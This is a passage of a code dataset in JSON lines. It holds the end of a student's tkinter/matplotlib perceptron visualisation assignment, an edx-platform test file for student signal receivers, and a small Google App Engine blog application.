self.targetFinal=self.targetFinal/self.countTest\n                h=self.targetFinal\n                self.testValFinal=self.testValFinal/self.countTest\n                r=self.testValFinal\n                local=inv(r)\n                \n                #self.weights1=np.dot(local,self.targetFinal)\n                self.weights1=local.dot(self.targetFinal)\n                test1=self.weights1\n                test=np.transpose(self.weights1)\n                self.weights=test[:,:-1]\n                self.calculate_errors_Direct_test()\n                #print(testValFinal)\n                \n            \n                \n            \n  \n    def calculate_activation_function(self,net_value,type='Symmetric Hard Limit'):\n        \n        \n        \n            if type == \"Linear\":\n                activation = net_value\n            elif type == \"Hyperbolic Tangent\":\n                activation = np.tanh(net_value) \n            elif type == \"Symmetric Hard Limit\":\n                #print(net_value)\n                temp1 = np.ma.masked_where(net_value < 0, net_value, copy=False)\n                #print(temp1)\n                temp2 = temp1.filled(-1)\n                #print(temp2)\n                temp3 = np.ma.masked_where(temp2 > 0, temp2, copy=False)\n                activation = temp3.filled(1)\n                #print(activation)\n            #print(activation)\n           \n            \n            \n            \n            return activation        \n            \n        \n    def Random_Gen(self):\n        self.weight_Matrix=np.random.uniform(-0.001,0.001,7850)\n        self.weight_Matrix=np.reshape(self.weight_Matrix,(10,785))\n\n        \n   \n            \n        \n        \n        \n    def train_Data(self):\n        for x in range(100):\n            self.input_weight,self.input_weight1,self.bias=Raina_03_02.calculate_activation_function(self.input_weight,self.input_weight1, self.bias, self.x1_samples_new,\n                                                                  self.activation_type)\n            print('w0',self.input_weight)\n            print('w1',self.input_weight1)\n            print('bias',self.bias)\n\n            self.axes.cla()\n            self.axes.set_xlabel('Input')\n            self.axes.set_ylabel('Output')\n            fig = plt.figure()\n            ax = fig.gca()\n            resolution=100\n            xs = np.linspace(-10., 10., resolution)\n            ys = np.linspace(-10., 10., resolution)\n            xx, yy = np.meshgrid(xs, ys)\n            zz=self.input_weight*xx+self.input_weight1*yy+self.bias\n            zz[zz<0]=-1\n            zz[zz>0]=+1\n            quad = ax.pcolormesh(xs, ys, zz)\n            color=ListedColormap(['r','g'])\n            plt.scatter(self.x1_samples_old[:,0],self.x1_samples_old[:,1], marker='+')\n            plt.scatter(self.x2_samples_old[:,0],self.x2_samples_old[:,1], c= 'black', marker='o')\n       \n        #self.axes.plot(quad)\n            self.axes.pcolormesh(xs, ys, zz,cmap=color)\n            #self.axes.pcolormesh()\n            \n            self.axes.scatter(self.x1_samples_old[:,0],self.x1_samples_old[:,1], marker='+')\n            self.axes.scatter(self.x2_samples_old[:,0],self.x2_samples_old[:,1], c= 'black', marker='o')\n            plt.show()\n            self.axes.xaxis.set_visible(True)\n            plt.xlim(self.xmin, self.xmax)\n            plt.ylim(self.ymin, self.ymax)\n            plt.title(self.activation_type)\n            self.canvas.draw()\n        print('activation type',self.activation_type)\n        if self.activation_type=='Linear':\n            self.input_weight_slider_callback()\n            self.input_weight_slider_callback1()\n            self.bias_slider_callback()\n            \n        self.flagvar = True\n        \n        \n    def redrawline(self):\n            self.axes.cla()\n            self.axes.set_xlabel('Input')\n            self.axes.set_ylabel('Output')\n            fig = plt.figure()\n            ax = fig.gca()\n            resolution=500\n            xs = np.linspace(-10., 10., resolution)\n            ys = np.linspace(-10., 10., resolution)\n            xx, yy = np.meshgrid(xs, ys)\n            zz=self.input_weight*xx+self.input_weight1*yy+self.bias\n            zz[zz<0]=-1\n            zz[zz>0]=+1\n            quad = ax.pcolormesh(xs, ys, zz)\n            c=ListedColormap(['r','g'])\n            plt.scatter(self.x1_samples_old[:,0],self.x1_samples_old[:,1], marker='+')\n            plt.scatter(self.x2_samples_old[:,0],self.x2_samples_old[:,1], c= 'black', marker='o')\n       \n        #self.axes.plot(quad)\n            self.axes.pcolormesh(xs, ys, zz,cmap=c)\n            #self.axes.pcolormesh()\n            \n            self.axes.scatter(self.x1_samples_old[:,0],self.x1_samples_old[:,1], marker='+')\n            self.axes.scatter(self.x2_samples_old[:,0],self.x2_samples_old[:,1], c= 'black', marker='o')\n            plt.show()\n            self.axes.xaxis.set_visible(True)\n            plt.xlim(self.xmin, self.xmax)\n            plt.ylim(self.ymin, self.ymax)\n            plt.title(self.activation_type)\n            self.canvas.draw()\n        \n    def up_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Up arrow was pressed\")\n\n    def down_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Down arrow was pressed\")\n\n    def right_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Right arrow was pressed\")\n\n    def left_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Left arrow was pressed\")\n\n    def shift_up_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift up arrow was pressed\")\n\n    def shift_down_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift down arrow was pressed\")\n\n    def shift_right_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift right arrow was pressed\")\n\n    def shift_left_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift left arrow was pressed\")\n\n    def f_key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"f key was pressed\")\n\n    def b_key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"b key was pressed\")\n\n    def left_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse button was clicked. ' + 'x=' + str(event.x) + '   y=' + str(\n            event.y))\n        self.x = event.x\n        self.y = event.y\n        self.canvas.focus_set()\n\n    def left_mouse_release_callback(self, event):\n        self.root.status_bar.set('%s',\n                                 'Left mouse button was released. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = None\n        self.y = None\n\n    def left_mouse_down_motion_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def right_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Right mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def right_mouse_release_callback(self, event):\n        self.root.status_bar.set('%s',\n                                 'Right mouse button was released. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = None\n        self.y = None\n\n    def right_mouse_down_motion_callback(self, event):\n        self.root.status_bar.set('%s', 'Right mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def left_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse button was clicked. ' + 'x=' + str(event.x) + '   y=' + str(\n            event.y))\n        self.x = event.x\n        self.y = event.y\n    \n    # self.focus_set()\n    def display_activation_function(self):\n        input_values = np.linspace(-10, 10, 256, endpoint=True)\n        \n        print('values ',input_values)\n        \n        print('weights ',self.input_weight)\n        activation = Raina_01_02.calculate_activation_function(self.input_weight,self.input_weight1, self.bias, self.x1_samples_new,self.x2_samples_new,\n                                                                  self.activation_type)\n        self.axes.cla()\n        self.axes.set_xlabel('Input1')\n        self.axes.set_ylabel('Output')\n        \n\n        self.axes.xaxis.set_visible(True)\n        plt.xlim(self.xmin, self.xmax)\n        plt.ylim(self.ymin, self.ymax)\n        plt.title(self.activation_type)\n        self.canvas.draw()\n\n    def input_weight_slider_callback(self):\n        self.input_weight = np.float(self.input_weight_slider.get())\n        if self.flagvar:\n            self.redrawline()\n    def delayed_element_slider_callback(self):\n        self.delayed_element_value = self.delayed_element_slider.get()\n        self.set_weight_zero_function()\n         \n        \n        \n    def learning_rate_slider_callback(self):\n        self.learning_rate = np.float(self.learning_rate_slider.get())\n        \n            \n    def training_sample_slider_callback(self):\n        self.training_sample_value = np.float(self.training_sample_slider.get())\n        self.training_sample_value=1-(self.training_sample_value/100)\n        print('split',self.training_sample_value)\n        self.X_train,self.X_test,self.y_train,self.y_test=train_test_split(\n        self.priceaftermean,self.volaftermean,test_size=self.training_sample_value,shuffle=False)\n        print(\" shape of P_train : \",  self.X_train.shape, self.X_train)\n        print(\" shape of P_test : \", self.X_test.shape, self.X_test)\n        print(\" shape of T_train : \", self.y_train, self.y_train)\n        print(\" shape of T_test : \", self.y_test, self.y_test)\n        \n\n\n    def stride_slider_callback(self):\n        self.stride = self.stride_slider.get()\n        \n            \n            \n    def no_of_iterations_slider_callback(self):\n        self.no_of_iterations = self.no_of_iterations_slider.get()\n        \n        \n    def input_weight_slider_callback1(self):\n        self.input_weight1 = np.float(self.input_weight_slider1.get())\n        if self.flagvar:\n            self.redrawline()\n        \n    def bias_slider_callback(self):\n        self.bias = np.float(self.bias_slider.get())\n        if self.flagvar:\n            self.redrawline()\n\n    def activation_function_dropdown_callback(self):\n        self.activation_type = self.activation_function_variable.get()\n        print(self.activation_type)\n        #self.display_activation_function()\n    def learning_method_dropdown_callback(self):\n        self.learning_type = self.learning_method_variable.get()\n        print(self.activation_type)\n\nclass RightFrame:\n    \"\"\"\n    This class is for creating right frame widgets which are used to draw graphics\n    on canvas as well as embedding matplotlib figures in the tkinter.\n    Kush Raina 2018_06_03\n    \"\"\"\n\n    def __init__(self, root, master, debug_print_flag=False):\n        self.root = root\n        self.master = master\n        self.debug_print_flag = debug_print_flag\n        width_px = root.winfo_screenwidth()\n        height_px = root.winfo_screenheight()\n        width_mm = root.winfo_screenmmwidth()\n        height_mm = root.winfo_screenmmheight()\n        # 2.54 cm = in\n        width_in = width_mm / 25.4\n        height_in = height_mm / 25.4\n        width_dpi = width_px / width_in\n        height_dpi = height_px / height_in\n        if self.debug_print_flag:\n            print('Width: %i px, Height: %i px' % (width_px, height_px))\n            print('Width: %i mm, Height: %i mm' % (width_mm, height_mm))\n            print('Width: %f in, Height: %f in' % (width_in, height_in))\n            print('Width: %f dpi, Height: %f dpi' % (width_dpi, height_dpi))\n        # self.canvas = self.master.canvas\n        #########################################################################\n        #  Set up the plotting frame and controls frame\n        #########################################################################\n        master.rowconfigure(0, weight=10, minsize=200)\n        master.columnconfigure(0, weight=1)\n        master.rowconfigure(1, weight=1, minsize=20)\n        self.right_frame = tk.Frame(self.master, borderwidth=10, relief='sunken')\n        self.right_frame.grid(row=0, column=0, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.matplotlib_width_pixel = self.right_frame.winfo_width()\n        self.matplotlib_height_pixel = self.right_frame.winfo_height()\n        # set up the frame which contains controls such as sliders and buttons\n        self.controls_frame = tk.Frame(self.master)\n        self.controls_frame.grid(row=1, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.controls_frame.rowconfigure(1, weight=1, minsize=20)\n        self.draw_button = tk.Button(self.controls_frame, text=\"Draw\", fg=\"red\", width=16,\n                                     command=self.graphics_draw_callback)\n        self.plot_2d_button = tk.Button(self.controls_frame, text=\"Plot 2D\", fg=\"red\", width=16,\n                                        command=self.matplotlib_plot_2d_callback)\n        self.plot_3d_button = tk.Button(self.controls_frame, text=\"Plot 3D\", fg=\"red\", width=16,\n                                        command=self.matplotlib_plot_3d_callback)\n        self.draw_button.grid(row=0, column=0)\n        self.plot_2d_button.grid(row=0, column=1)\n        self.plot_3d_button.grid(row=0, column=2)\n        self.right_frame.update()\n        self.canvas = tk.Canvas(self.right_frame, relief='ridge', width=self.right_frame.winfo_width() - 110,\n                                height=self.right_frame.winfo_height())\n        if self.debug_print_flag:\n            print(\"Right frame width, right frame height : \", self.right_frame.winfo_width(),\n                  self.right_frame.winfo_height())\n        self.canvas.rowconfigure(0, weight=1)\n        self.canvas.columnconfigure(0, weight=1)\n        self.canvas.grid(row=0, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n        self.canvas.bind(\"<ButtonPress-1>\", self.left_mouse_click_callback)\n        self.canvas.bind(\"<ButtonRelease-1>\", self.left_mouse_release_callback)\n        self.canvas.bind(\"<B1-Motion>\", self.left_mouse_down_motion_callback)\n        self.canvas.bind(\"<ButtonPress-3>\", self.right_mouse_click_callback)\n        self.canvas.bind(\"<ButtonRelease-3>\", self.right_mouse_release_callback)\n        self.canvas.bind(\"<B3-Motion>\", self.right_mouse_down_motion_callback)\n        self.canvas.bind(\"<Key>\", self.key_pressed_callback)\n        self.canvas.bind(\"<Up>\", self.up_arrow_pressed_callback)\n        self.canvas.bind(\"<Down>\", self.down_arrow_pressed_callback)\n        self.canvas.bind(\"<Right>\", self.right_arrow_pressed_callback)\n        self.canvas.bind(\"<Left>\", self.left_arrow_pressed_callback)\n        self.canvas.bind(\"<Shift-Up>\", self.shift_up_arrow_pressed_callback)\n        self.canvas.bind(\"<Shift-Down>\", self.shift_down_arrow_pressed_callback)\n        self.canvas.bind(\"<Shift-Right>\", self.shift_right_arrow_pressed_callback)\n        self.canvas.bind(\"<Shift-Left>\", self.shift_left_arrow_pressed_callback)\n        self.canvas.bind(\"f\", self.f_key_pressed_callback)\n        self.canvas.bind(\"b\", self.b_key_pressed_callback)\n        # Create a figure for 2d plotting\n        self.matplotlib_2d_fig = mpl.figure.Figure()\n        # self.matplotlib_2d_fig.set_size_inches(4,2)\n        self.matplotlib_2d_fig.set_size_inches((self.right_frame.winfo_width() / width_dpi) - 0.5,\n                                               self.right_frame.winfo_height() / height_dpi)\n        self.matplotlib_2d_ax = self.matplotlib_2d_fig.add_axes([.1, .1, .7, .7])\n        if self.debug_print_flag:\n            print(\"Matplotlib figsize in inches: \", (self.right_frame.winfo_width() / width_dpi) - 0.5,\n                  self.right_frame.winfo_height() / height_dpi)\n        self.matplotlib_2d_fig_x, self.matplotlib_2d_fig_y = 0, 0\n        self.matplotlib_2d_fig_loc = (self.matplotlib_2d_fig_x, self.matplotlib_2d_fig_y)\n        # fig = plt.figure()\n        # ax = fig.gca(projection='3d')\n        # Create a figure for 3d plotting\n        self.matplotlib_3d_fig = mpl.figure.Figure()\n        self.matplotlib_3d_figure_canvas_agg = FigureCanvasAgg(self.matplotlib_3d_fig)\n        # self.matplotlib_2d_fig.set_size_inches(4,2)\n        self.matplotlib_3d_fig.set_size_inches((self.right_frame.winfo_width() / width_dpi) - 0.5,\n                                               self.right_frame.winfo_height() / height_dpi)\n        self.matplotlib_3d_ax = self.matplotlib_3d_fig.add_axes([.1, .1, .6, .6], projection='3d')\n        self.matplotlib_3d_fig_x, self.matplotlib_3d_fig_y = 0, 0\n        self.matplotlib_3d_fig_loc = (self.matplotlib_3d_fig_x, self.matplotlib_3d_fig_y)\n\n    def display_matplotlib_figure_on_tk_canvas(self):\n        # Draw a matplotlib figure in a Tk canvas\n        self.matplotlib_2d_ax.clear()\n        X = np.linspace(0, 2 * np.pi, 100)\n        # Y = np.sin(X)\n        Y = np.sin(X * np.int((np.random.rand() + .1) * 10))\n        self.matplotlib_2d_ax.plot(X, Y)\n        self.matplotlib_2d_ax.set_xlim([0, 2 * np.pi])\n        self.matplotlib_2d_ax.set_ylim([-1, 1])\n        self.matplotlib_2d_ax.grid(True, which='both')\n        self.matplotlib_2d_ax.axhline(y=0, color='k')\n        self.matplotlib_2d_ax.axvline(x=0, color='k')\n        # plt.subplots_adjust(left=0.0, right=1.0, bottom=0.0, top=1.0)\n        # Place the matplotlib figure on canvas and display it\n        self.matplotlib_2d_figure_canvas_agg = FigureCanvasAgg(self.matplotlib_2d_fig)\n        self.matplotlib_2d_figure_canvas_agg.draw()\n        self.matplotlib_2d_figure_x, self.matplotlib_2d_figure_y, self.matplotlib_2d_figure_w, \\\n        self.matplotlib_2d_figure_h = self.matplotlib_2d_fig.bbox.bounds\n        self.matplotlib_2d_figure_w, self.matplotlib_2d_figure_h = int(self.matplotlib_2d_figure_w), int(\n            self.matplotlib_2d_figure_h)\n        self.photo = tk.PhotoImage(master=self.canvas, width=self.matplotlib_2d_figure_w,\n                                   height=self.matplotlib_2d_figure_h)\n        # Position: convert from top-left anchor to center anchor\n        self.canvas.create_image(self.matplotlib_2d_fig_loc[0] + self.matplotlib_2d_figure_w / 2,\n                                 self.matplotlib_2d_fig_loc[1] + self.matplotlib_2d_figure_h / 2, image=self.photo)\n        tkagg.blit(self.photo, self.matplotlib_2d_figure_canvas_agg.get_renderer()._renderer, colormode=2)\n        self.matplotlib_2d_fig_w, self.matplotlib_2d_fig_h = self.photo.width(), self.photo.height()\n        self.canvas.create_text(0, 0, text=\"Sin Wave\", anchor=\"nw\")\n\n    def display_matplotlib_3d_figure_on_tk_canvas(self):\n        self.matplotlib_3d_ax.clear()\n        r = np.linspace(0, 6, 100)\n        temp=np.random.rand()\n        theta = np.linspace(-temp * np.pi, temp * np.pi, 40)\n        r, theta = np.meshgrid(r, theta)\n        X = r * np.sin(theta)\n        Y = r * np.cos(theta)\n        Z = np.sin(np.sqrt(X ** 2 + Y ** 2))\n        surf = self.matplotlib_3d_ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=\"coolwarm\", linewidth=0, antialiased=False);\n        # surf = self.matplotlib_3d_ax.plot_surface(X, Y, Z, rcount=1, ccount=1, cmap='bwr', edgecolor='none');\n        self.matplotlib_3d_ax.set_xlim(-6, 6)\n        self.matplotlib_3d_ax.set_ylim(-6, 6)\n        self.matplotlib_3d_ax.set_zlim(-1.01, 1.01)\n        self.matplotlib_3d_ax.zaxis.set_major_locator(LinearLocator(10))\n        self.matplotlib_3d_ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n        # Place the matplotlib figure on canvas and display it\n        self.matplotlib_3d_figure_canvas_agg.draw()\n        self.matplotlib_3d_figure_x, self.matplotlib_3d_figure_y, self.matplotlib_3d_figure_w, \\\n        self.matplotlib_3d_figure_h = self.matplotlib_2d_fig.bbox.bounds\n        self.matplotlib_3d_figure_w, self.matplotlib_3d_figure_h = int(self.matplotlib_3d_figure_w), int(\n            self.matplotlib_3d_figure_h)\n        if self.debug_print_flag:\n            print(\"Matplotlib 3d figure x, y, w, h: \", self.matplotlib_3d_figure_x, self.matplotlib_3d_figure_y,\n                  self.matplotlib_3d_figure_w, self.matplotlib_3d_figure_h)\n        self.photo = tk.PhotoImage(master=self.canvas, width=self.matplotlib_3d_figure_w,\n                                   height=self.matplotlib_3d_figure_h)\n        # Position: convert from top-left anchor to center anchor\n        self.canvas.create_image(self.matplotlib_3d_fig_loc[0] + self.matplotlib_3d_figure_w / 2,\n                                 self.matplotlib_3d_fig_loc[1] + self.matplotlib_3d_figure_h / 2, image=self.photo)\n        tkagg.blit(self.photo, self.matplotlib_3d_figure_canvas_agg.get_renderer()._renderer, colormode=2)\n        self.matplotlib_3d_fig_w, self.matplotlib_3d_fig_h = self.photo.width(), self.photo.height()\n\n    def key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', 'Key pressed')\n\n    def up_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Up arrow was pressed\")\n\n    def down_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Down arrow was pressed\")\n\n    def right_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Right arrow was pressed\")\n\n    def left_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Left arrow was pressed\")\n\n    def shift_up_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift up arrow was pressed\")\n\n    def shift_down_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift down arrow was pressed\")\n\n    def shift_right_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift right arrow was pressed\")\n\n    def shift_left_arrow_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"Shift left arrow was pressed\")\n\n    def f_key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"f key was pressed\")\n\n    def b_key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', \"b key was pressed\")\n\n    def left_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse button was clicked. ' + 'x=' + str(event.x) + '   y=' + str(\n            event.y))\n        self.x = event.x\n        self.y = event.y\n        self.canvas.focus_set()\n\n    def left_mouse_release_callback(self, event):\n        self.root.status_bar.set('%s',\n                                 'Left mouse button was released. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = None\n        self.y = None\n\n    def left_mouse_down_motion_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def right_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Right mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def right_mouse_release_callback(self, event):\n        self.root.status_bar.set('%s',\n                                 'Right mouse button was released. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = None\n        self.y = None\n\n    def right_mouse_down_motion_callback(self, event):\n        self.root.status_bar.set('%s', 'Right mouse down motion. ' + 'x=' + str(event.x) + '   y=' + str(event.y))\n        self.x = event.x\n        self.y = event.y\n\n    def left_mouse_click_callback(self, event):\n        self.root.status_bar.set('%s', 'Left mouse button was clicked. ' + 'x=' + str(event.x) + '   y=' + str(\n            event.y))\n        self.x = event.x\n        self.y = event.y\n\n    # self.focus_set()\n    def frame_resized_callback(self, event):\n        print(\"frame resize callback\")\n\n    def create_graphic_objects(self):\n        self.canvas.delete(\"all\")\n        r = np.random.rand()\n        self.drawing_objects = []\n        for scale in np.linspace(.1, 0.8, 20):\n            self.drawing_objects.append(self.canvas.create_oval(int(scale * int(self.canvas.cget(\"width\"))),\n                                                                int(r * int(self.canvas.cget(\"height\"))),\n                                                                int((1 - scale) * int(self.canvas.cget(\"width\"))),\n                                                                int((1 - scale) * int(self.canvas.cget(\"height\")))))\n\n    def redisplay(self, event):\n        self.create_graphic_objects()\n\n    def matplotlib_plot_2d_callback(self):\n        self.display_matplotlib_figure_on_tk_canvas()\n        self.root.status_bar.set('%s', \"called matplotlib_plot_2d_callback callback!\")\n\n    def matplotlib_plot_3d_callback(self):\n        self.display_matplotlib_3d_figure_on_tk_canvas()\n        self.root.status_bar.set('%s', \"called matplotlib_plot_3d_callback callback!\")\n\n    def graphics_draw_callback(self):\n        self.create_graphic_objects()\n        self.root.status_bar.set('%s', \"called the draw callback!\")\n\n\ndef close_window_callback(root):\n    if tk.messagebox.askokcancel(\"Quit\", \"Do you really wish to quit?\"):\n        root.destroy()\n\n\nmain_window = MainWindow(debug_print_flag=False)\n# main_window.geometry(\"500x500\")\nmain_window.wm_state('zoomed')\nmain_window.title('Assignment_01 --  Raina')\nmain_window.minsize(800, 600)\nmain_window.protocol(\"WM_DELETE_WINDOW\", lambda root_window=main_window: close_window_callback(root_window))\nmain_window.mainloop()\n","repo_name":"KushRaina21/My-Projects","sub_path":"NeuralProjects/Raina_04/Raina_04_01.py","file_name":"Raina_04_01.py","file_ext":"py","file_size_in_byte":69220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12598074883","text":"\"\"\" Tests for student signal receivers. \"\"\"\n\nfrom unittest import skipUnless\nfrom unittest.mock import patch\n\nfrom edx_toggles.toggles.testutils import override_waffle_flag\n\nfrom common.djangoapps.student.models import CourseEnrollmentCelebration, PendingNameChange, UserProfile\nfrom common.djangoapps.student.signals.signals import USER_EMAIL_CHANGED\nfrom common.djangoapps.student.tests.factories import CourseEnrollmentFactory, UserFactory, UserProfileFactory\nfrom lms.djangoapps.courseware.toggles import COURSEWARE_MICROFRONTEND_PROGRESS_MILESTONES\nfrom openedx.core.djangolib.testing.utils import skip_unless_lms\nfrom openedx.features.name_affirmation_api.utils import is_name_affirmation_installed\nfrom xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase  # lint-amnesty, pylint: disable=wrong-import-order\n\nname_affirmation_installed = is_name_affirmation_installed()\nif name_affirmation_installed:\n    # pylint: disable=import-error\n    from edx_name_affirmation.signals import VERIFIED_NAME_APPROVED\n\n\nclass ReceiversTest(SharedModuleStoreTestCase):\n    \"\"\"\n    Tests for dashboard utility functions\n    \"\"\"\n    @override_waffle_flag(COURSEWARE_MICROFRONTEND_PROGRESS_MILESTONES, active=True)\n    def test_celebration_created(self):\n        \"\"\" Test that we make celebration objects when enrollments are created \"\"\"\n        assert CourseEnrollmentCelebration.objects.count() == 0\n\n        # Test initial creation upon an enrollment being made\n        enrollment = CourseEnrollmentFactory()\n        assert CourseEnrollmentCelebration.objects.count() == 1\n        celebration = CourseEnrollmentCelebration.objects.get(\n            enrollment=enrollment, celebrate_first_section=True, celebrate_weekly_goal=True\n        )\n\n        # Test nothing changes if we update that enrollment\n        celebration.celebrate_first_section = False\n        celebration.save()\n        enrollment.mode = 'test-mode'\n        enrollment.save()\n        assert CourseEnrollmentCelebration.objects.count() == 1\n        CourseEnrollmentCelebration.objects.get(\n            enrollment=enrollment, celebrate_first_section=False, celebrate_weekly_goal=True\n        )\n\n    def test_celebration_gated_by_waffle(self):\n        \"\"\" Test we don't make a celebration if the MFE redirect waffle flag is off \"\"\"\n        CourseEnrollmentFactory()\n        assert CourseEnrollmentCelebration.objects.count() == 0\n\n    @skipUnless(name_affirmation_installed, \"Requires Name Affirmation\")\n    def test_listen_for_verified_name_approved(self):\n        \"\"\"\n        Test that profile name is updated when a pending name change is approved\n        \"\"\"\n        user = UserFactory(email='email@test.com', username='jdoe')\n        UserProfileFactory(user=user)\n\n        new_name = 'John Doe'\n        PendingNameChange.objects.create(user=user, new_name=new_name)\n        assert PendingNameChange.objects.count() == 1\n\n        # Send a VERIFIED_NAME_APPROVED signal where the profile name matches the name\n        # change request\n        VERIFIED_NAME_APPROVED.send(sender=None, user_id=user.id, profile_name=new_name)\n\n        # Assert that the pending name change was deleted and the profile name was updated\n        assert PendingNameChange.objects.count() == 0\n        profile = UserProfile.objects.get(user=user)\n        assert profile.name == new_name\n\n    @skip_unless_lms\n    @patch('common.djangoapps.student.signals.receivers.get_braze_client')\n    def test_listen_for_user_email_changed(self, mock_get_braze_client):\n        \"\"\"\n        Ensure that USER_EMAIL_CHANGED signal triggers correct calls to get_braze_client.\n        \"\"\"\n        user = UserFactory(email='email@test.com', username='jdoe')\n\n        USER_EMAIL_CHANGED.send(sender=None, user=user)\n\n        assert mock_get_braze_client.called\n","repo_name":"openedx/edx-platform","sub_path":"common/djangoapps/student/tests/test_receivers.py","file_name":"test_receivers.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"21319259319","text":"import webapp2\nimport jinja2\nimport datetime\nfrom google.appengine.ext import db\n\nimport os\nimport re\n\t\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),\n                               autoescape = True)\n\ndef str_render(template, **params):\n\t#t is a jinja Template class instance\n\tt = jinja_env.get_template(template)\n\t#render/write out the resulting HTML using Template class member function\n\t#http://jinja.pocoo.org/docs/api/\n\treturn t.render(params) \n\nclass BaseHandler(webapp2.RequestHandler):\n\tdef render(self, template, **params):\n\t\t#use the str_render function to turn our html template into jinja Template,\n\t\t\t#then write out with the error messages\n\t\t#if params is empty, then no errors will be printed\n\t\tself.response.out.write(str_render(template, **params))\n\t\t\t\t\t\t\t   \nclass Entry(db.Model):\n\ttitle = db.StringProperty(required = True)\n\tcontent = db.TextProperty(required = True)\n\tcreated = db.DateTimeProperty(auto_now_add = True)\n\t\n\tdef as_dict(self):\n\t\ttime_format = '%c'\n\t\tdict = {'subject': self.title,\n\t\t\t\t'content': self.content,\n\t\t\t\t'created': self.created.strftime(time_format)}\n\t\treturn dict\n\t\nclass FrontPage(BaseHandler):\n\tdef get(self):\n\t\tposts_ = db.GqlQuery('SELECT * FROM Entry ORDER BY created ASC')\n\t\t#self.response.out.write(posts_.count())\n\t\tself.render('blog_frontpage.html', posts = posts_)\n\t\t#self.render('blog_frontpage.html')\n\t\t\nclass NewPost(BaseHandler):\n\tdef get(self):\n\t\tself.render('blog_newpost.html')\n\t\t\n\tdef post(self):\n\t\ttitle_ = self.request.get('subject')\n\t\tcontent_ = self.request.get('content')\n\t\t\n\t\tparams = {'prev_title':title_, 'prev_content':content_}\n\t\t\n\t\thas_error = False\n\t\tif not title_ or not content_:\n\t\t\thas_error = True\n\t\t\tparams['error_message'] = 'Both subject and content are required.'\n\t\t\n\t\tif has_error:\n\t\t\tself.render('blog_newpost.html', **params)\n\t\telse:\n\t\t\t#make instance of post, put into database\n\t\t\tpost = Entry(title=title_, content=content_)\n\t\t\tpost.put()\n\t\t\tpost_id = str(post.key().id())\n\t\t\tself.redirect('/blog/%s' %post_id)\n\t\t\t\nclass PermPost(BaseHandler):\n\tdef get(self, post_id):\n\t\tp = Entry.get_by_id(int(post_id))\n\t\tif p:\n\t\t\tself.render('blog_permalink.html', post=p)\n\t\telse:\n\t\t\tself.response.out.write(\"This post was not found. :(\")\n\t\napp = webapp2.WSGIApplication([('/blog/?(?:\\.json)?', FrontPage), \n\t\t\t\t\t\t\t\t('/blog/newpost/', NewPost),\n\t\t\t\t\t\t\t\t('/blog/([0-9]+)(?:\\.json)?', PermPost)], #parentheses mean whatever is here is passed into get or post function\n\t\t\t\t\t\t\t\tdebug=True)","repo_name":"meixingdg/course-prereq","sub_path":"misc/helloworld/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
